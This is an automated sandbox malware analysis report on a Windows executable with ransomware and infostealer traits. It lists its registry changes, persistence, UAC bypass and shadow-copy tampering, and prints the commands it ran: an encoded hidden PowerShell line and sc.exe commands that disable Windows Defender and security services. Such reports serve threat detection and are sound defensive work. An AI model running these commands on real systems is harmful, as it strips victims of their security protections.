Analysis
- max time kernel
150s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 01:34
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
www.fastfocus.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
www.fastfocus.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target www.fastfocus.io_hyber.exe
- Size 49KB
- Sample260804-by72wsel41
- SHA256 de4cd578a71d1779f13f7e5a55d751d8dfddc7aee8bcbbf500c25601dfd8ed8d
- MD5 2463c44f6809d824ff41c6124f03965b
- SHA1 8a034fde76da456bc040dea677d88a1be9794f9b
- SHA512 567ae0eb639dac353c9ab0c88ad900708475e61abc80b821cc5271bfa46a10db027fd7e8737d114feb96aca338f274e2afb9f3b754f24a49b47ff9ada77fc596
- SSDEEP 768:xrVZZ6zs0hnGjj0TfgN47c3nP8rqJ/NaPzfX/fyC44:ZZ6HhKATfgN47QnP82JmP/fyC44
- TLSH T1EB33F64937ED4121E2BF4ABA89F251118731F463DD23DB9E0AD8459E19F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/3260-1-0x0000000000340000-0x0000000000352000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" www.fastfocus.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5228 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" www.fastfocus.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts www.fastfocus.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2176 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf www.fastfocus.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf www.fastfocus.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf www.fastfocus.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_hyber.exe" www.fastfocus.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1160 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe www.fastfocus.io_hyber.exe File created C:\Windows\system32\sysupdate.exe www.fastfocus.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe www.fastfocus.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 3312 wscript.exe 2592 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" www.fastfocus.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\3313064497.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4232 sc.exe 3232 sc.exe 1740 sc.exe 4632 sc.exe 5136 sc.exe 3336 sc.exe 1252 sc.exe 1364 sc.exe 5224 sc.exe 2776 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4924 cmd.exe 4632 cmd.exe 1268 cmd.exe 2936 cmd.exe 4468 cmd.exe 4740 cmd.exe 2488 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2892 NETSTAT.EXE 3352 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1380 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1304 vssadmin.exe 5604 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Control Panel\Desktop\WallpaperStyle = "2" www.fastfocus.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open www.fastfocus.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_hyber.exe\" \"%1\"" www.fastfocus.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command www.fastfocus.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell www.fastfocus.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell www.fastfocus.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open www.fastfocus.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings www.fastfocus.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command\DelegateExecute www.fastfocus.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command www.fastfocus.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet www.fastfocus.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell www.fastfocus.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings www.fastfocus.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command www.fastfocus.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open www.fastfocus.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\www.fastfocus.io_hyber.exe" www.fastfocus.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" www.fastfocus.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2928 schtasks.exe 964 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5228 powershell.exe 5228 powershell.exe 5228 powershell.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 5416 WMIC.exe 5416 WMIC.exe 5416 WMIC.exe 5416 WMIC.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 4824 WMIC.exe 4824 WMIC.exe 4824 WMIC.exe 4824 WMIC.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe 3260 www.fastfocus.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2464 LogonUI.exe Token: SeCreatePagefilePrivilege 2464 LogonUI.exe Token: SeDebugPrivilege 3260 www.fastfocus.io_hyber.exe Token: SeDebugPrivilege 5228 powershell.exe Token: SeIncreaseQuotaPrivilege 5228 powershell.exe Token: SeSecurityPrivilege 5228 powershell.exe Token: SeTakeOwnershipPrivilege 5228 powershell.exe Token: SeLoadDriverPrivilege 5228 powershell.exe Token: SeSystemProfilePrivilege 5228 powershell.exe Token: SeSystemtimePrivilege 5228 powershell.exe Token: SeProfSingleProcessPrivilege 5228 powershell.exe Token: SeIncBasePriorityPrivilege 5228 powershell.exe Token: SeCreatePagefilePrivilege 5228 powershell.exe Token: SeBackupPrivilege 5228 powershell.exe Token: SeRestorePrivilege 5228 powershell.exe Token: SeShutdownPrivilege 5228 powershell.exe Token: SeDebugPrivilege 5228 powershell.exe Token: SeSystemEnvironmentPrivilege 5228 powershell.exe Token: SeRemoteShutdownPrivilege 5228 powershell.exe Token: SeUndockPrivilege 5228 powershell.exe Token: SeManageVolumePrivilege 5228 powershell.exe Token: 33 5228 powershell.exe Token: 34 5228 powershell.exe Token: 35 5228 powershell.exe Token: 36 5228 powershell.exe Token: SeIncBasePriorityPrivilege 3260 www.fastfocus.io_hyber.exe Token: SeIncreaseQuotaPrivilege 5416 WMIC.exe Token: SeSecurityPrivilege 5416 WMIC.exe Token: SeTakeOwnershipPrivilege 5416 WMIC.exe Token: SeLoadDriverPrivilege 5416 WMIC.exe Token: SeSystemProfilePrivilege 5416 WMIC.exe Token: SeSystemtimePrivilege 5416 WMIC.exe Token: SeProfSingleProcessPrivilege 5416 WMIC.exe Token: SeIncBasePriorityPrivilege 5416 WMIC.exe Token: SeCreatePagefilePrivilege 5416 WMIC.exe Token: SeBackupPrivilege 5416 WMIC.exe Token: SeRestorePrivilege 5416 WMIC.exe Token: SeShutdownPrivilege 5416 WMIC.exe Token: SeDebugPrivilege 5416 WMIC.exe Token: SeSystemEnvironmentPrivilege 5416 WMIC.exe Token: SeRemoteShutdownPrivilege 5416 WMIC.exe Token: SeUndockPrivilege 5416 WMIC.exe Token: SeManageVolumePrivilege 5416 WMIC.exe Token: 33 5416 WMIC.exe Token: 34 5416 WMIC.exe Token: 35 5416 WMIC.exe Token: 36 5416 WMIC.exe Token: SeBackupPrivilege 5016 vssvc.exe Token: SeRestorePrivilege 5016 vssvc.exe Token: SeAuditPrivilege 5016 vssvc.exe Token: SeIncreaseQuotaPrivilege 5416 WMIC.exe Token: SeSecurityPrivilege 5416 WMIC.exe Token: SeTakeOwnershipPrivilege 5416 WMIC.exe Token: SeLoadDriverPrivilege 5416 WMIC.exe Token: SeSystemProfilePrivilege 5416 WMIC.exe Token: SeSystemtimePrivilege 5416 WMIC.exe Token: SeProfSingleProcessPrivilege 5416 WMIC.exe Token: SeIncBasePriorityPrivilege 5416 WMIC.exe Token: SeCreatePagefilePrivilege 5416 WMIC.exe Token: SeBackupPrivilege 5416 WMIC.exe Token: SeRestorePrivilege 5416 WMIC.exe Token: SeShutdownPrivilege 5416 WMIC.exe Token: SeDebugPrivilege 5416 WMIC.exe Token: SeSystemEnvironmentPrivilege 5416 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3260 www.fastfocus.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2464 LogonUI.exe 2464 LogonUI.exe 3260 www.fastfocus.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 3260 wrote to memory of 5228 3260 www.fastfocus.io_hyber.exe 91 PID 3260 wrote to memory of 4632 3260 www.fastfocus.io_hyber.exe 130 PID 3260 wrote to memory of 3336 3260 www.fastfocus.io_hyber.exe 95 PID 3260 wrote to memory of 1252 3260 www.fastfocus.io_hyber.exe 97 PID 3260 wrote to memory of 1364 3260 www.fastfocus.io_hyber.exe 99 PID 3260 wrote to memory of 5224 3260 www.fastfocus.io_hyber.exe 101 PID 3260 wrote to memory of 1740 3260 www.fastfocus.io_hyber.exe 103 PID 3260 wrote to memory of 3232 3260 www.fastfocus.io_hyber.exe 162 PID 3260 wrote to memory of 4232 3260 www.fastfocus.io_hyber.exe 107 PID 3260 wrote to memory of 1232 3260 www.fastfocus.io_hyber.exe 108 PID 1232 wrote to memory of 3948 1232 fodhelper.exe 110 PID 3260 wrote to memory of 3312 3260 www.fastfocus.io_hyber.exe 112 PID 3260 wrote to memory of 2928 3260 www.fastfocus.io_hyber.exe 113 PID 3260 wrote to memory of 2288 3260 www.fastfocus.io_hyber.exe 116 PID 3260 wrote to memory of 1304 3260 www.fastfocus.io_hyber.exe 120 PID 3260 wrote to memory of 5416 3260 www.fastfocus.io_hyber.exe 122 PID 3260 wrote to memory of 4924 3260 www.fastfocus.io_hyber.exe 125 PID 3260 wrote to memory of 4740 3260 www.fastfocus.io_hyber.exe 127 PID 3260 wrote to memory of 2936 3260 www.fastfocus.io_hyber.exe 128 PID 3260 wrote to memory of 1268 3260 www.fastfocus.io_hyber.exe 129 PID 3260 wrote to memory of 4632 3260 www.fastfocus.io_hyber.exe 130 PID 3260 wrote to memory of 4468 3260 www.fastfocus.io_hyber.exe 131 PID 3260 wrote to memory of 2488 3260 www.fastfocus.io_hyber.exe 132 PID 3260 wrote to memory of 4324 3260 www.fastfocus.io_hyber.exe 133 PID 3260 wrote to memory of 964 3260 www.fastfocus.io_hyber.exe 140 PID 3260 wrote to memory of 2592 3260 www.fastfocus.io_hyber.exe 142 PID 3260 wrote to memory of 2176 3260 www.fastfocus.io_hyber.exe 143 PID 3260 wrote to memory of 2776 3260 www.fastfocus.io_hyber.exe 144 PID 3260 wrote to memory of 5136 3260 www.fastfocus.io_hyber.exe 145 PID 4740 wrote to memory of 1380 4740 cmd.exe 151 PID 2488 wrote to memory of 2892 2488 cmd.exe 152 PID 2936 wrote to memory of 1160 2936 cmd.exe 153 PID 4324 wrote to memory of 2664 4324 net.exe 154 PID 1268 wrote to memory of 200 1268 cmd.exe 155 PID 4632 wrote to memory of 5308 4632 cmd.exe 156 PID 4468 wrote to memory of 3352 4468 cmd.exe 157 PID 5308 wrote to memory of 2236 5308 net.exe 158 PID 4924 wrote to memory of 5604 4924 cmd.exe 160 PID 4924 wrote to memory of 4824 4924 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3260 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5228
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4632
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3336
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:1252
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:1364
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5224
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1740
